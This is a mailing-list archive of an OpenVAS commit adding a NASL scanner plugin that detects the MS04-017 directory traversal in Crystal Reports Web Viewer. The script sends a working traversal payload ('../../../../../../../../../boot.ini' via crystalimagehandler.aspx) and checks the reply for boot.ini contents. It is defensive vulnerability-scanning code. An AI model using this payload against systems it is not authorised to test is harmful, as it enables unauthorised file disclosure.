[Openvas-commits] r2784 - trunk/openvas-plugins/scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Sun Mar 15 20:59:50 CET 2009


Author: edjenguele
Date: 2009-03-15 20:59:49 +0100 (Sun, 15 Mar 2009)
New Revision: 2784

Added:
   trunk/openvas-plugins/scripts/remote-MS04-017.nasl
Log:
Added Microsoft Security Bulletin MS04-017
Vulnerability in Crystal Reports Web Viewer Could Allow Information Disclosure and Denial of Service 


Added: trunk/openvas-plugins/scripts/remote-MS04-017.nasl
===================================================================
--- trunk/openvas-plugins/scripts/remote-MS04-017.nasl	2009-03-15 19:49:44 UTC (rev 2783)
+++ trunk/openvas-plugins/scripts/remote-MS04-017.nasl	2009-03-15 19:59:49 UTC (rev 2784)
@@ -0,0 +1,134 @@
+# OpenVAS Vulnerability Test
+# $Id$
+# Description: 
+# Microsoft Security Bulletin MS04-017
+# Vulnerability in Crystal Reports Web Viewer Could Allow Information Disclosure and Denial of Service 
+#
+# Affected Software
+# Visual Studio .NET 2003 
+# Outlook 2003 with Business Contact Manager 
+# Microsoft Business Solutions CRM 1.2 
+#
+# Non-Affected Software:
+# All other supported versions of Visual Studio, Outlook, and Microsoft Business Solutions CRM.
+#
+# remote-detect-MS04-017.nasl
+#
+# Author:
+# Christian Eric Edjenguele <christian.edjenguele at owasp.org>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 or later,
+# as published by the Free Software Foundation
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+
+ 
+
+ 
+ if(description)
+{
+script_id(101004);
+script_bugtraq_id(10260);
+script_cve_id("CAN-2004-0204");
+name["english"] = "Microsoft MS04-017 security check";
+script_name(english:name["english"]);
+ 
+desc["english"] = "
+A directory traversal vulnerability exists in Crystal Reports and Crystal Enterprise from Business Objects 
+that could allow Information Disclosure and Denial of Service attacks on an affected system. 
+An attacker who successfully exploited the vulnerability could retrieve and delete files through the Crystal Reports 
+and Crystal Enterprise Web interface on an affected system.
+
+  
+
+
+Solution :
+Microsoft has released a patch to fix this issue, download it from the following website: 
+http://www.microsoft.com/technet/security/bulletin/ms04-017.mspx
+
+Visual Studio .NET 2003: 
+http://www.microsoft.com/downloads/details.aspx?FamilyId=659CA40E-808D-431D-A7D3-33BC3ACE922D&displaylang=en
+Outlook 2003 with Business Contact Manager: 
+http://www.microsoft.com/downloads/details.aspx?FamilyId=9016B9F3-BA86-4A95-9D89-E120EF2E85E3&displaylang=en
+Microsoft Business Solutions CRM 1.2: 
+http://go.microsoft.com/fwlink/?LinkId=30127
+
+
+Risk factor : Medium";
+
+script_description(english:desc["english"]);
+
+summary["english"] = "Vulnerability in Crystal Reports Web Viewer Could Allow Information Disclosure and Denial of Service";
+
+script_summary(english:summary["english"]);
+
+script_category(ACT_ATTACK);
+
+script_copyright(english:"This script is Written by Christian Eric Edjenguele <christian.edjenguele at owasp.org> and released under GPL v2 or later");
+family["english"] = "Windows : Microsoft Bulletins";
+script_family(english:family["english"]);
+script_dependencies("find_service.nes");
+script_require_ports("Services/www");
+
+
+ exit(0);
+}
+
+#
+# The script code starts here
+#
+
+include("http_func.inc");
+
+
+crystal_reports = get_kb_list("Services/www");
+
+pages  = make_list('/CrystalReportWebFormViewer',
+             '/CrystalReportWebFormViewer2',
+             '/crystalreportViewers');
+
+
+# get the target ip address
+h_ip = get_host_ip();
+
+
+# connect to the remote host
+foreach port (crystal_reports)
+{
+	# Build the malicious request
+	foreach page (pages)
+	{
+		soc = open_sock_tcp(port);
+		# build the malicious request
+		request = page + '/crystalimagehandler.aspx?dynamicimage=../../../../../../../../../boot.ini';
+		
+		qry = string('GET ' + request + ' HTTP/1.0\r\n',
+ 			  'Host: ' + h_ip + ':' + port + '\r\n\r\n');
+		
+		req = http_get(item:qry, port:port);
+		send(socket:soc, data: req);
+
+		# Get back the response
+		reply = recv(socket:soc, length:4096);
+
+		close(soc);
+
+		if(reply)
+		{
+			header_server = egrep(patern:"Server", string:reply, icase:TRUE);
+			
+			if(("Microsoft-IIS" >< header_server ) && ( '[boot loader]' >< reply)) 
+				security_warning(port);
+			
+		}
+	}
+}


Property changes on: trunk/openvas-plugins/scripts/remote-MS04-017.nasl
___________________________________________________________________
Name: svn:executable
   + *



More information about the Openvas-commits mailing list